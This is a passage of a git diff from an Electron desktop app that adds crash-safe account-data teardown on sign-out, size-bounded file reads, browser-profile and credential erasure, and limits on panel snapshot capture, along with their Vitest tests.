expect(getAccountDataTeardownOrigin()).toBe(ORIGIN) + + completeAccountDataTeardown() + expect(existsSync(markerPath)).toBe(false) + expect(isAccountDataTeardownRequired()).toBe(false) + expect(getAccountDataTeardownKind()).toBeNull() + }) + + it('keeps recovery gated until a retry clears every account store', async () => { + beginAccountDataTeardown('account', ORIGIN) + const failedClear = vi.fn(async () => { + throw new Error('keychain unavailable') + }) + const successfulClear = vi.fn(async () => {}) + + await expect( + retryAccountDataTeardown([ + { label: 'browser profile', clear: failedClear }, + { label: 'local filesystem grants', clear: successfulClear }, + ]) + ).resolves.toEqual(['browser profile']) + expect(existsSync(markerPath)).toBe(true) + expect(isAccountDataTeardownRequired()).toBe(true) + + await expect( + retryAccountDataTeardown([ + { label: 'browser profile', clear: successfulClear }, + { label: 'local filesystem grants', clear: successfulClear }, + ]) + ).resolves.toEqual([]) + expect(existsSync(markerPath)).toBe(false) + expect(isAccountDataTeardownRequired()).toBe(false) + }) + + it('never downgrades or clears an account recovery marker for a server switch', () => { + beginAccountDataTeardown('account', ORIGIN) + beginAccountDataTeardown('deployment', ORIGIN) + const commit = vi.fn(() => true) + + expect(getAccountDataTeardownKind()).toBe('account') + expect(completeDeploymentScopedTeardown(commit)).toBe(false) + expect(commit).not.toHaveBeenCalled() + expect(existsSync(markerPath)).toBe(true) + expect(isAccountDataTeardownRequired()).toBe(true) + }) + + it('does not retarget an active teardown to a different origin', () => { + beginAccountDataTeardown('deployment', ORIGIN) + + expect(beginAccountDataTeardown('account', 'https://other.example.com')).toBe(false) + expect(getAccountDataTeardownKind()).toBe('deployment') + expect(getAccountDataTeardownOrigin()).toBe(ORIGIN) + expect(JSON.parse(readFileSync(markerPath, 'utf8'))).toEqual({ + version: 2, + kind: 'deployment', + origin: ORIGIN, + }) + }) + + it('keeps deployment recovery armed when the server configuration commit fails', () => { + beginAccountDataTeardown('deployment', ORIGIN) + + expect(completeDeploymentScopedTeardown(() => false)).toBe(false) + expect(existsSync(markerPath)).toBe(true) + expect(isAccountDataTeardownRequired()).toBe(true) + }) + + it('keeps deployment recovery armed when the server configuration commit throws', () => { + beginAccountDataTeardown('deployment', ORIGIN) + + expect(() => + completeDeploymentScopedTeardown(() => { + throw new Error('disk unavailable') + }) + ).toThrow('disk unavailable') + expect(existsSync(markerPath)).toBe(true) + expect(isAccountDataTeardownRequired()).toBe(true) + }) + + it('reports successful completion of a deployment-scoped teardown', () => { + beginAccountDataTeardown('deployment', ORIGIN) + + expect(completeDeploymentScopedTeardown(() => true)).toBe(true) + expect(isAccountDataTeardownRequired()).toBe(false) + }) + + it('treats an unknown marker version as an untrusted account teardown', () => { + writeFileSync(markerPath, '{"version":3,"kind":"deployment","origin":"https://old.example"}') + + initializeAccountDataRecovery(markerPath) + + expect(getAccountDataTeardownKind()).toBe('account') + expect(getAccountDataTeardownOrigin()).toBeNull() + expect(prepareAccountDataTeardownForQuit()).toBe(false) + }) + + it('waits for an admitted commit before teardown can clear its store', async () => { + let releaseMutation: (() => void) | undefined + const mutation = new Promise((resolve) => { + releaseMutation = resolve + }) + const generation = captureAccountDataGeneration() + const pendingMutation = runAccountDataMutation(generation, () => mutation) + + invalidateAccountDataOperations() + const settled = vi.fn() + const pendingWait = waitForAccountDataMutations().then(settled) + await Promise.resolve() + expect(settled).not.toHaveBeenCalled() + + releaseMutation?.() + await pendingMutation + await pendingWait + expect(settled).toHaveBeenCalledOnce() + }) + + it('rejects a stale commit after teardown begins', async () => { + const generation = captureAccountDataGeneration() + invalidateAccountDataOperations() + const mutation = vi.fn(async () => {}) + + await expect(runAccountDataMutation(generation, mutation)).rejects.toThrow( + 'expired during teardown' + ) + expect(mutation).not.toHaveBeenCalled() + }) +}) diff --git a/apps/desktop/src/main/account-data-generation.ts b/apps/desktop/src/main/account-data-generation.ts new file mode 100644 index 00000000000..9a24ed70050 --- /dev/null +++ b/apps/desktop/src/main/account-data-generation.ts @@ -0,0 +1,223 @@ +import { readFileSync, unlinkSync } from 'node:fs' +import { writeJsonFileAtomicallySync } from '@/main/atomic-json-file' +import { canonicalOrigin, validateOriginInput } from '@/main/config' + +const RECOVERY_MARKER_VERSION = 2 +export type AccountDataTeardownKind = 'account' | 'deployment' + +interface AccountDataRecoveryMarker { + kind: AccountDataTeardownKind + origin: string | null +} + +let generation = 0 +let teardownRequired = false +let teardownKind: AccountDataTeardownKind | null = null +let teardownOrigin: string | null = null +let recoveryMarkerPath: string | null = null +let durableTeardownKind: AccountDataTeardownKind | null = null +let durableTeardownOrigin: string | null = null +const activeMutations = new Set>() + +export class ExpiredAccountDataOperationError extends Error { + constructor() { + super('The account-data operation expired during teardown.') + this.name = 'ExpiredAccountDataOperationError' + } +} + +export function captureAccountDataGeneration(): number { + return generation +} + +/** Expires work already in progress without changing whether new work is admitted. */ +export function advanceAccountDataGeneration(): void { + generation += 1 +} + +/** Restores the fail-closed teardown state before account-bearing stores open. */ +export function initializeAccountDataRecovery(filePath: string | null): boolean { + recoveryMarkerPath = filePath + const marker = filePath ? readRecoveryMarker(filePath) : null + const recoveryRequired = marker !== null + if (recoveryRequired && !teardownRequired) { + advanceAccountDataGeneration() + } + teardownRequired = recoveryRequired + teardownKind = marker?.kind ?? null + teardownOrigin = marker?.origin ?? null + durableTeardownKind = marker?.kind ?? null + durableTeardownOrigin = marker?.origin ?? null + return recoveryRequired +} + +export function invalidateAccountDataOperations(): void { + advanceAccountDataGeneration() + teardownRequired = true +} + +/** Persists recovery intent before invalidating account-data work. */ +export function beginAccountDataTeardown(kind: AccountDataTeardownKind, origin: string): boolean { + const validated = validateOriginInput(origin) + if (!validated.ok) return false + const targetOrigin = canonicalOrigin(validated.origin) + if (teardownRequired && teardownOrigin !== targetOrigin) return false + const effectiveKind = kind === 'account' || teardownKind === 'account' ? 'account' : 'deployment' + if (!persistAccountDataRecoveryMarker(effectiveKind, targetOrigin)) return false + const wasRequired = teardownRequired + teardownKind = effectiveKind + teardownOrigin = targetOrigin + teardownRequired = true + if (!wasRequired) advanceAccountDataGeneration() + return true +} + +export function isAccountDataTeardownRequired(): boolean { + return teardownRequired +} + +export function getAccountDataTeardownKind(): AccountDataTeardownKind | null { + return teardownKind +} + +export function getAccountDataTeardownOrigin(): string | null { + return teardownOrigin +} + +/** Retries marker persistence so shutdown cannot lose an incomplete teardown. */ +export function prepareAccountDataTeardownForQuit(): boolean { + return ( + !teardownRequired || + (teardownKind !== null && + teardownOrigin !== null && + persistAccountDataRecoveryMarker(teardownKind, teardownOrigin)) + ) +} + +export interface AccountDataRecoveryStore { + label: string + clear: () => void | Promise +} + +/** Retries every erasure from an interrupted teardown without restoring stores first. */ +export async function retryAccountDataTeardown( + stores: readonly AccountDataRecoveryStore[] +): Promise { + if (!teardownRequired) return [] + await waitForAccountDataMutations() + const outcomes = await Promise.allSettled( + stores.map(({ clear }) => Promise.resolve().then(clear)) + ) + const failures = outcomes.flatMap((outcome, index) => + outcome.status === 'rejected' ? [stores[index].label] : [] + ) + if (failures.length === 0) { + completeAccountDataTeardown() + } + return failures +} + +export function isAccountDataGenerationCurrent(capturedGeneration: number): boolean { + return !teardownRequired && capturedGeneration === generation +} + +/** Allows account-data mutations again only after every sensitive store was erased. */ +export function completeAccountDataTeardown(): void { + if (recoveryMarkerPath) { + try { + unlinkSync(recoveryMarkerPath) + } catch (error) { + const code = (error as NodeJS.ErrnoException).code + if (code !== 'ENOENT' && code !== 'ENOTDIR') throw error + } + } + durableTeardownKind = null + durableTeardownOrigin = null + teardownRequired = false + teardownKind = null + teardownOrigin = null +} + +/** Commits a server switch and clears its marker without weakening an account wipe. */ +export function completeDeploymentScopedTeardown(commit: () => boolean): boolean { + if (teardownKind !== 'deployment') return false + if (!commit()) return false + completeAccountDataTeardown() + return true +} + +/** Tracks a persistent mutation so teardown waits for it to settle. */ +export async function runAccountDataMutation( + capturedGeneration: number, + operation: () => Promise +): Promise { + if (!isAccountDataGenerationCurrent(capturedGeneration)) { + throw new ExpiredAccountDataOperationError() + } + const pending = operation() + activeMutations.add(pending) + try { + return await pending + } finally { + activeMutations.delete(pending) + } +} + +/** Waits until commits already admitted for the outgoing account have settled. */ +export async function waitForAccountDataMutations(): Promise { + while (activeMutations.size > 0) { + await Promise.allSettled([...activeMutations]) + } +} + +function persistAccountDataRecoveryMarker(kind: AccountDataTeardownKind, origin: string): boolean { + if ( + durableTeardownOrigin === origin && + (durableTeardownKind === 'account' || + (durableTeardownKind === 'deployment' && kind === 'deployment')) + ) { + return true + } + if (!recoveryMarkerPath) return false + try { + writeJsonFileAtomicallySync(recoveryMarkerPath, { + version: RECOVERY_MARKER_VERSION, + kind, + origin, + }) + durableTeardownKind = kind + durableTeardownOrigin = origin + return true + } catch { + return false + } +} + +function readRecoveryMarker(filePath: string): AccountDataRecoveryMarker | null { + let raw: string + try { + raw = readFileSync(filePath, 'utf8') + } catch (error) { + return (error as NodeJS.ErrnoException).code === 'ENOENT' + ? null + : { kind: 'account', origin: null } + } + + try { + const parsed = JSON.parse(raw) as { kind?: unknown; origin?: unknown; version?: unknown } + if ( + parsed.version !== RECOVERY_MARKER_VERSION || + (parsed.kind !== 'account' && parsed.kind !== 'deployment') || + typeof parsed.origin !== 'string' + ) { + return { kind: 'account', origin: null } + } + const validated = validateOriginInput(parsed.origin) + if (!validated.ok || canonicalOrigin(validated.origin) !== parsed.origin) { + return { kind: 'account', origin: null } + } + return { kind: parsed.kind, origin: parsed.origin } + } catch { + return { kind: 'account', origin: null } + } +} diff --git a/apps/desktop/src/main/atomic-json-file.test.ts b/apps/desktop/src/main/atomic-json-file.test.ts new file mode 100644 index 00000000000..fdb1fce2c08 --- /dev/null +++ b/apps/desktop/src/main/atomic-json-file.test.ts @@ -0,0 +1,47 @@ +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, describe, expect, it } from 'vitest' +import { + FileResourceLimitError, + readFileWithinLimit, + readFileWithinLimitSync, +} from '@/main/atomic-json-file' + +describe('bounded file reads', () => { + let directory: string + + beforeEach(() => { + directory = mkdtempSync(join(tmpdir(), 'sim-bounded-file-')) + }) + + afterEach(() => { + rmSync(directory, { recursive: true, force: true }) + }) + + it('reads the file through its opened handle', async () => { + const filePath = join(directory, 'store.json') + writeFileSync(filePath, 'bounded payload') + + await expect(readFileWithinLimit(filePath, 15)).resolves.toEqual(Buffer.from('bounded payload')) + expect(readFileWithinLimitSync(filePath, 15)).toEqual(Buffer.from('bounded payload')) + }) + + it('rejects a file larger than the configured limit', async () => { + const filePath = join(directory, 'store.json') + writeFileSync(filePath, 'too large') + + await expect(readFileWithinLimit(filePath, 8)).rejects.toBeInstanceOf(FileResourceLimitError) + expect(() => readFileWithinLimitSync(filePath, 8)).toThrow(FileResourceLimitError) + }) + + it('rejects non-file handles', async () => { + const childDirectory = join(directory, 'store') + mkdirSync(childDirectory) + + await expect(readFileWithinLimit(childDirectory, 100)).rejects.toBeInstanceOf( + FileResourceLimitError + ) + expect(() => readFileWithinLimitSync(childDirectory, 100)).toThrow(FileResourceLimitError) + }) +}) diff --git a/apps/desktop/src/main/atomic-json-file.ts b/apps/desktop/src/main/atomic-json-file.ts index 4561b4c0447..ff364e2dc40 100644 --- a/apps/desktop/src/main/atomic-json-file.ts +++ b/apps/desktop/src/main/atomic-json-file.ts @@ -1,10 +1,71 @@ -import { mkdirSync, renameSync, writeFileSync } from 'node:fs' -import { mkdir, rename, unlink, writeFile } from 'node:fs/promises' +import { + closeSync, + fstatSync, + mkdirSync, + openSync, + readSync, + renameSync, + writeFileSync, +} from 'node:fs' +import { mkdir, open, rename, unlink, writeFile } from 'node:fs/promises' import { dirname } from 'node:path' /** Owner-only, matching every store that keeps user data in userData. */ const FILE_MODE = 0o600 +export class FileResourceLimitError extends Error { + constructor() { + super('File exceeded the configured size limit') + this.name = 'FileResourceLimitError' + } +} + +function validateReadableFile(isFile: boolean, size: number, maxBytes: number): void { + if (!isFile || !Number.isSafeInteger(size) || size < 0 || size > maxBytes) { + throw new FileResourceLimitError() + } +} + +/** Reads at most the size observed on the opened file handle, plus one growth-detection byte. */ +export async function readFileWithinLimit(filePath: string, maxBytes: number): Promise { + const handle = await open(filePath, 'r') + try { + const metadata = await handle.stat() + validateReadableFile(metadata.isFile(), metadata.size, maxBytes) + const buffer = Buffer.allocUnsafe(metadata.size + 1) + let offset = 0 + while (offset < buffer.length) { + const { bytesRead } = await handle.read(buffer, offset, buffer.length - offset, offset) + if (bytesRead === 0) break + offset += bytesRead + } + if (offset > metadata.size) throw new FileResourceLimitError() + return buffer.subarray(0, offset) + } finally { + await handle.close() + } +} + +/** Synchronous counterpart for Electron shutdown and startup paths that cannot await. */ +export function readFileWithinLimitSync(filePath: string, maxBytes: number): Buffer { + const descriptor = openSync(filePath, 'r') + try { + const metadata = fstatSync(descriptor) + validateReadableFile(metadata.isFile(), metadata.size, maxBytes) + const buffer = Buffer.allocUnsafe(metadata.size + 1) + let offset = 0 + while (offset < buffer.length) { + const bytesRead = readSync(descriptor, buffer, offset, buffer.length - offset, offset) + if (bytesRead === 0) break + offset += bytesRead + } + if (offset > metadata.size) throw new FileResourceLimitError() + return buffer.subarray(0, offset) + } finally { + closeSync(descriptor) + } +} + /** * Distinct per call, not just per process. * diff --git a/apps/desktop/src/main/browser-agent/driver-profile.test.ts b/apps/desktop/src/main/browser-agent/driver-profile.test.ts new file mode 100644 index 00000000000..fb77abf35d5 --- /dev/null +++ b/apps/desktop/src/main/browser-agent/driver-profile.test.ts @@ -0,0 +1,55 @@ +import { beforeEach, describe, expect, it, vi } from 'vitest' + +vi.mock('electron', () => import('@/test/electron-mock')) + +const mocks = vi.hoisted(() => ({ + clearProfileStorage: vi.fn(async () => {}), + clearCredentials: vi.fn(async () => {}), +})) + +vi.mock('@/main/browser-agent/session', () => ({ + clearProfileStorage: mocks.clearProfileStorage, + initSession: vi.fn(), +})) + +vi.mock('@/main/browser-credentials', () => ({ + clearCredentials: mocks.clearCredentials, + fillCoordinator: vi.fn(() => null), + initFillCoordinator: vi.fn(), +})) + +import { clearBrowserProfile, initDriver } from '@/main/browser-agent/driver' +import type { ConfigStore } from '@/main/config' + +describe('clearBrowserProfile', () => { + beforeEach(() => { + vi.clearAllMocks() + }) + + it('requires settings erasure for sign-out but lets explicit server repair replace it', async () => { + const config = { + get: vi.fn(() => undefined), + set: vi.fn(), + flush: vi.fn(() => false), + } as unknown as ConfigStore + initDriver( + { + onPageState: vi.fn(), + onTabsState: vi.fn(), + onSessionStatus: vi.fn(), + onFillAvailability: vi.fn(), + }, + () => null, + config + ) + + await expect(clearBrowserProfile()).rejects.toThrow('Browser profile teardown was incomplete') + await expect( + clearBrowserProfile({ settingsPersistence: 'server-repair' }) + ).resolves.toBeUndefined() + + expect(mocks.clearProfileStorage).toHaveBeenCalledTimes(2) + expect(mocks.clearCredentials).toHaveBeenCalledTimes(2) + expect(config.flush).toHaveBeenCalledTimes(2) + }) +}) diff --git a/apps/desktop/src/main/browser-agent/driver.test.ts b/apps/desktop/src/main/browser-agent/driver.test.ts index f165bac475c..84613c62d1a 100644 --- a/apps/desktop/src/main/browser-agent/driver.test.ts +++ b/apps/desktop/src/main/browser-agent/driver.test.ts @@ -571,6 +571,23 @@ describe('executeTool', () => { ) }) + it('routes an exact renderer media decision through the scoped session boundary', async () => { + const respond = vi.spyOn(session, 'respondToMediaPermission').mockResolvedValue() + + await driver.handlePanelAction('chat-test', { + action: 'respond-media-permission', + requestId: 'request-1', + allowed: true, + }) + await driver.handlePanelAction('chat-test', { + action: 'respond-media-permission', + requestId: 'request-2', + }) + + expect(respond).toHaveBeenCalledOnce() + expect(respond).toHaveBeenCalledWith('request-1', true) + }) + it('keeps tool queues and tab state isolated by chat scope', async () => { await driver.executeTool('chat-a', 'browser_open_tab', {}) await driver.executeTool('chat-a', 'browser_open_tab', {}) diff --git a/apps/desktop/src/main/browser-agent/driver.ts b/apps/desktop/src/main/browser-agent/driver.ts index 4964ec01691..d8ce0631824 100644 --- a/apps/desktop/src/main/browser-agent/driver.ts +++ b/apps/desktop/src/main/browser-agent/driver.ts @@ -265,6 +265,7 @@ function recordNotice(notice: string): void { */ function pageStateFor(contents: WebContents, tabId: string): BrowserPageState { const issue = session.pageIssueForContents(contents) + const mediaPermissionRequest = session.mediaPermissionRequestForContents(contents) return { scopeId: session.getBrowserScopeId(), tabId, @@ -274,6 +275,7 @@ function pageStateFor(contents: WebContents, tabId: string): BrowserPageState { canGoBack: session.canGoBack(contents), canGoForward: session.canGoForward(contents), ...(issue ? { issue } : {}), + ...(mediaPermissionRequest ? { mediaPermissionRequest } : {}), } } @@ -661,8 +663,9 @@ export async function clearBrowsingData( ): Promise { // The remembered browsing trail is the local mirror of the cookie jar, so it // goes when cookies do and stays when they do not. - if (kinds.includes('cookies')) knownSessions?.clear() + const settingsCleared = !kinds.includes('cookies') || knownSessions?.clear() !== false await session.clearAgentData(kinds) + if (!settingsCleared) throw new Error('Browser settings could not be erased') } /** @@ -671,15 +674,32 @@ export async function clearBrowsingData( * in on the same machine must not inherit the previous user's sessions or * passwords. */ -export async function clearBrowserProfile(): Promise { - knownSessions?.clear() - await session.clearProfileStorage() - await clearCredentials() +export interface ClearBrowserProfileOptions { + /** The server picker will replace the blocked settings file immediately after profile erasure. */ + settingsPersistence: 'required' | 'server-repair' +} + +export async function clearBrowserProfile( + options: ClearBrowserProfileOptions = { settingsPersistence: 'required' } +): Promise { + const settingsCleared = knownSessions?.clear() !== false + const outcomes = await Promise.allSettled([session.clearProfileStorage(), clearCredentials()]) // Last, covering the pinned-tab list `clearProfileStorage` just emptied. // Settings writes coalesce, and an erasure that is still sitting in that // window when the process dies leaves the previous account's data on disk // after sign-out already told the user it was gone. - configStore?.flush() + if ( + (!settingsCleared || configStore?.flush() === false) && + options.settingsPersistence === 'required' + ) { + outcomes.push({ status: 'rejected', reason: new Error('Browser settings could not be erased') }) + } + const failures = outcomes.flatMap((outcome) => + outcome.status === 'rejected' ? [outcome.reason] : [] + ) + if (failures.length > 0) { + throw new AggregateError(failures, 'Browser profile teardown was incomplete.') + } } function str(params: Record, key: string): string | undefined { @@ -3798,6 +3818,12 @@ export async function handlePanelAction( } return } + if (action.action === 'respond-media-permission') { + if (typeof action.requestId === 'string' && typeof action.allowed === 'boolean') { + await session.respondToMediaPermission(action.requestId, action.allowed) + } + return + } // Navigate bootstraps the session: the user can open the panel manually // (before the agent ever touched the browser) and drive it from the URL // bar. The other chrome actions need an existing page. diff --git a/apps/desktop/src/main/browser-agent/known-sessions.ts b/apps/desktop/src/main/browser-agent/known-sessions.ts index 2fd23a97da7..e248faf0ad0 100644 --- a/apps/desktop/src/main/browser-agent/known-sessions.ts +++ b/apps/desktop/src/main/browser-agent/known-sessions.ts @@ -168,14 +168,14 @@ export class BrowserKnownSessionRegistry { * whoever was signed in, so Sim sign-out must not leave it for the next * account. */ - clear(): void { + clear(): boolean { this.config.set('browserKnownSites', []) // Not left to the debounce. Ordinary writes here can afford to coalesce, // but this one is an erasure the user asked for: if the process dies in // the coalescing window — force quit, crash, OS shutdown — the previous // account's browsing trail is still on disk for whoever signs in next, // and sign-out has already reported success. - this.config.flush() + return this.config.flush() } list(cookieSignals: BrowserCookieSignal[]): BrowserKnownSessionsState { diff --git a/apps/desktop/src/main/browser-agent/panel.test.ts b/apps/desktop/src/main/browser-agent/panel.test.ts index 91fd776cd15..d8d04665315 100644 --- a/apps/desktop/src/main/browser-agent/panel.test.ts +++ b/apps/desktop/src/main/browser-agent/panel.test.ts @@ -126,6 +126,141 @@ describe('panel chat scope', () => { expect(view.setBounds).not.toHaveBeenCalled() }) + it('recovers when capturePage throws before returning a promise', async () => { + const { win, view } = showPanel(panel) + const scopeId = panel.getActivePanelScopeId() + const image = await view.webContents.capturePage() + vi.mocked(view.webContents.capturePage).mockImplementationOnce(() => { + throw new Error('WebContents was destroyed') + }) + + await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toBeNull() + + vi.mocked(view.webContents.capturePage).mockResolvedValue(image) + await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toMatchObject({ + dataUrl: 'data:image/png;base64,c2lt', + }) + }) + + it('shares one native capture across concurrent requests for the same frame', async () => { + const { win, view } = showPanel(panel) + const scopeId = panel.getActivePanelScopeId() + let resolveCapture: + | ((image: Awaited>) => void) + | undefined + const image = await view.webContents.capturePage() + vi.mocked(view.webContents.capturePage).mockClear() + vi.mocked(view.webContents.capturePage).mockReturnValue( + new Promise((resolve) => { + resolveCapture = resolve + }) + ) + + const first = panel.capturePanelSnapshot(win, scopeId) + const second = panel.capturePanelSnapshot(win, scopeId) + expect(view.webContents.capturePage).toHaveBeenCalledOnce() + resolveCapture?.(image) + + await expect(Promise.all([first, second])).resolves.toHaveLength(2) + expect(view.webContents.capturePage).toHaveBeenCalledOnce() + }) + + it('does not dedupe a queued capture across panel owner windows', async () => { + const { win, view } = showPanel(panel) + const other = new BrowserWindow() + const scopeId = panel.getActivePanelScopeId() + const image = await view.webContents.capturePage() + const pendingCaptures: Array<(value: typeof image) => void> = [] + vi.mocked(view.webContents.capturePage).mockClear() + vi.mocked(view.webContents.capturePage).mockImplementation( + () => + new Promise((resolve) => { + pendingCaptures.push(resolve) + }) + ) + + const first = panel.capturePanelSnapshot(win, scopeId) + panel.setPanelBounds(PANEL_RECT, other) + const second = panel.capturePanelSnapshot(other, scopeId) + + expect(view.webContents.capturePage).toHaveBeenCalledOnce() + pendingCaptures[0]?.(image) + await expect(first).resolves.toBeNull() + await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2)) + + pendingCaptures[1]?.(image) + await expect(second).resolves.toMatchObject({ dataUrl: 'data:image/png;base64,c2lt' }) + }) + + it('serializes native captures and coalesces queued navigation requests to the latest page', async () => { + const { win, view } = showPanel(panel) + const scopeId = panel.getActivePanelScopeId() + const image = await view.webContents.capturePage() + const pendingCaptures: Array<(value: typeof image) => void> = [] + vi.mocked(view.webContents.capturePage).mockClear() + vi.mocked(view.webContents.capturePage).mockImplementation( + () => + new Promise((resolve) => { + pendingCaptures.push(resolve) + }) + ) + + vi.mocked(view.webContents.getURL).mockReturnValue('https://one.example') + const first = panel.capturePanelSnapshot(win, scopeId) + vi.mocked(view.webContents.getURL).mockReturnValue('https://two.example') + const superseded = panel.capturePanelSnapshot(win, scopeId) + vi.mocked(view.webContents.getURL).mockReturnValue('https://three.example') + const latest = panel.capturePanelSnapshot(win, scopeId) + + expect(view.webContents.capturePage).toHaveBeenCalledOnce() + await expect(superseded).resolves.toBeNull() + pendingCaptures[0]?.(image) + await expect(first).resolves.toBeNull() + await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2)) + + pendingCaptures[1]?.(image) + await expect(latest).resolves.toMatchObject({ dataUrl: 'data:image/png;base64,c2lt' }) + expect(view.webContents.capturePage).toHaveBeenCalledTimes(2) + }) + + it('does not dedupe content zoom changes that round to the same displayed percentage', async () => { + const { win, view } = showPanel(panel) + const scopeId = panel.getActivePanelScopeId() + const image = await view.webContents.capturePage() + const pendingCaptures: Array<(value: typeof image) => void> = [] + vi.mocked(view.webContents.capturePage).mockClear() + vi.mocked(view.webContents.capturePage).mockImplementation( + () => + new Promise((resolve) => { + pendingCaptures.push(resolve) + }) + ) + + vi.mocked(view.webContents.getZoomFactor).mockReturnValue(1.101) + const first = panel.capturePanelSnapshot(win, scopeId) + vi.mocked(view.webContents.getZoomFactor).mockReturnValue(1.104) + const second = panel.capturePanelSnapshot(win, scopeId) + + expect(view.webContents.capturePage).toHaveBeenCalledOnce() + pendingCaptures[0]?.(image) + await expect(first).resolves.toBeNull() + await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2)) + + pendingCaptures[1]?.(image) + await expect(second).resolves.toMatchObject({ zoomPercent: 121 }) + }) + + it('refuses a panel capture whose pixel budget is unsafe', async () => { + const { win, view } = showPanel(panel) + const scopeId = panel.getActivePanelScopeId() + vi.mocked(win.getContentSize).mockReturnValue([10_000, 10_000]) + panel.setPanelBounds({ x: 0, y: 0, width: 5_000, height: 5_000 }, win) + vi.mocked(view.webContents.capturePage).mockClear() + + await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toBeNull() + expect(view.webContents.capturePage).not.toHaveBeenCalled() + }) + it('requests a fresh compositor frame when a browser view is attached or revealed', () => { const { win, view } = showPanel(panel) diff --git a/apps/desktop/src/main/browser-agent/panel.ts b/apps/desktop/src/main/browser-agent/panel.ts index 27b609ca8cc..207448ffba4 100644 --- a/apps/desktop/src/main/browser-agent/panel.ts +++ b/apps/desktop/src/main/browser-agent/panel.ts @@ -31,6 +31,8 @@ const logger = createLogger('BrowserAgentPanel') */ const PANEL_LEASE_TTL_MS = 2_500 const PANEL_LEASE_CHECK_MS = 1_000 +const MAX_PANEL_SNAPSHOT_PIXELS = 16_777_216 +const MAX_PANEL_SNAPSHOT_DATA_URL_LENGTH = 32 * 1024 * 1024 /** What the panel needs from the session, supplied once by {@link initPanel}. */ export interface PanelHost { @@ -67,6 +69,19 @@ let panelOccluded = false let occlusionOwnerWindow: BrowserWindow | null = null /** Invalidates captures when ownership, scope, or panel visibility changes. */ let panelCaptureGeneration = 0 +let inFlightPanelCapture: { + generation: number + key: string + promise: Promise +} | null = null +let queuedPanelCapture: { + key: string + ownerWindow: BrowserWindow | undefined + promise: Promise + reject: (reason?: unknown) => void + resolve: (snapshot: BrowserPanelSnapshot | null) => void + scopeId: string +} | null = null let panelLeaseAt = 0 let leaseTimer: ReturnType | null = null /** Chat whose native browser surface may currently be composited. */ @@ -299,6 +314,8 @@ function resetOcclusion(): void { occlusionOwnerWindow = null occludableFrame = null panelCaptureGeneration++ + queuedPanelCapture?.resolve(null) + queuedPanelCapture = null } /** @@ -491,6 +508,39 @@ function blankSnapshot( } } +function queuePanelCapture( + key: string, + ownerWindow: BrowserWindow | undefined, + scopeId: string +): Promise { + if (queuedPanelCapture?.key === key) return queuedPanelCapture.promise + + panelCaptureGeneration++ + queuedPanelCapture?.resolve(null) + let resolveCapture!: (snapshot: BrowserPanelSnapshot | null) => void + let rejectCapture!: (reason?: unknown) => void + const promise = new Promise((resolve, reject) => { + resolveCapture = resolve + rejectCapture = reject + }) + queuedPanelCapture = { + key, + ownerWindow, + promise, + reject: rejectCapture, + resolve: resolveCapture, + scopeId, + } + return promise +} + +function startQueuedPanelCapture(): void { + const queued = queuedPanelCapture + if (!queued) return + queuedPanelCapture = null + void capturePanelSnapshot(queued.ownerWindow, queued.scopeId).then(queued.resolve, queued.reject) +} + /** * Captures the compositor surface without resizing or lossy encoding. * @@ -520,8 +570,6 @@ export async function capturePanelSnapshot( layout() if (attachedView !== active.view) return null - const generation = ++panelCaptureGeneration - occludableFrame = null const tabId = active.id const contents = active.view.webContents const shellZoom = win.webContents.getZoomFactor() @@ -535,41 +583,106 @@ export async function capturePanelSnapshot( nativeBounds, } const viewportBounds = viewportBoundsFor(nativeBounds, shellZoom) - const zoomPercent = zoomPercentOf(contents.getZoomFactor()) + const contentsZoom = contents.getZoomFactor() + const zoomPercent = zoomPercentOf(contentsZoom) const url = contents.getURL() if (url === '' || url === 'about:blank') { + panelCaptureGeneration++ + occludableFrame = null if (!frameGeometryIsCurrent(frame)) return null occludableFrame = frame return blankSnapshot(scopeId, tabId, zoomPercent, viewportBounds) } + if ( + nativeBounds.width <= 0 || + nativeBounds.height <= 0 || + nativeBounds.width * nativeBounds.height > MAX_PANEL_SNAPSHOT_PIXELS + ) { + logger.warn('Browser panel is too large to capture safely', { + width: nativeBounds.width, + height: nativeBounds.height, + }) + return null + } + + const captureKey = JSON.stringify([ + win.id, + scopeId, + tabId, + url, + contentsZoom, + shellZoom, + nativeBounds.x, + nativeBounds.y, + nativeBounds.width, + nativeBounds.height, + ]) + if ( + inFlightPanelCapture?.key === captureKey && + inFlightPanelCapture.generation === panelCaptureGeneration + ) { + return inFlightPanelCapture.promise + } + if (inFlightPanelCapture) return queuePanelCapture(captureKey, ownerWindow, scopeId) + + occludableFrame = null + const generation = ++panelCaptureGeneration + let capture: ReturnType try { - const image = await contents.capturePage(undefined, { stayHidden: false }) - if ( - generation !== panelCaptureGeneration || - scopeId !== activePanelScopeId || - host.activeTab()?.id !== tabId || - panelWindow() !== win || - win.isDestroyed() || - !frameGeometryIsCurrent(frame) || - image.isEmpty() - ) { - return null - } - const snapshot: BrowserPanelSnapshot = { - scopeId, - tabId, - zoomPercent, - viewportBounds, - dataUrl: image.toDataURL(), - } - occludableFrame = frame - return snapshot + capture = contents.capturePage(undefined, { stayHidden: false }) } catch (error) { logger.warn('Could not capture browser panel for a toolbar menu', { error: getErrorMessage(error, 'unknown'), }) return null } + const promise = capture + .then((image): BrowserPanelSnapshot | null => { + const imageSize = image.getSize() + if ( + generation !== panelCaptureGeneration || + scopeId !== activePanelScopeId || + host.activeTab()?.id !== tabId || + panelWindow() !== win || + win.isDestroyed() || + !frameGeometryIsCurrent(frame) || + image.isEmpty() || + imageSize.width <= 0 || + imageSize.height <= 0 || + imageSize.width * imageSize.height > MAX_PANEL_SNAPSHOT_PIXELS + ) { + return null + } + const dataUrl = image.toDataURL() + if (dataUrl.length > MAX_PANEL_SNAPSHOT_DATA_URL_LENGTH) { + logger.warn('Browser panel snapshot exceeded the encoded size limit', { + bytes: dataUrl.length, + }) + return null + } + const snapshot: BrowserPanelSnapshot = { + scopeId, + tabId, + zoomPercent, + viewportBounds, + dataUrl, + } + occludableFrame = frame + return snapshot + }) + .catch((error) => { + logger.warn('Could not capture browser panel for a toolbar menu', { + error: getErrorMessage(error, 'unknown'), + }) + return null + }) + 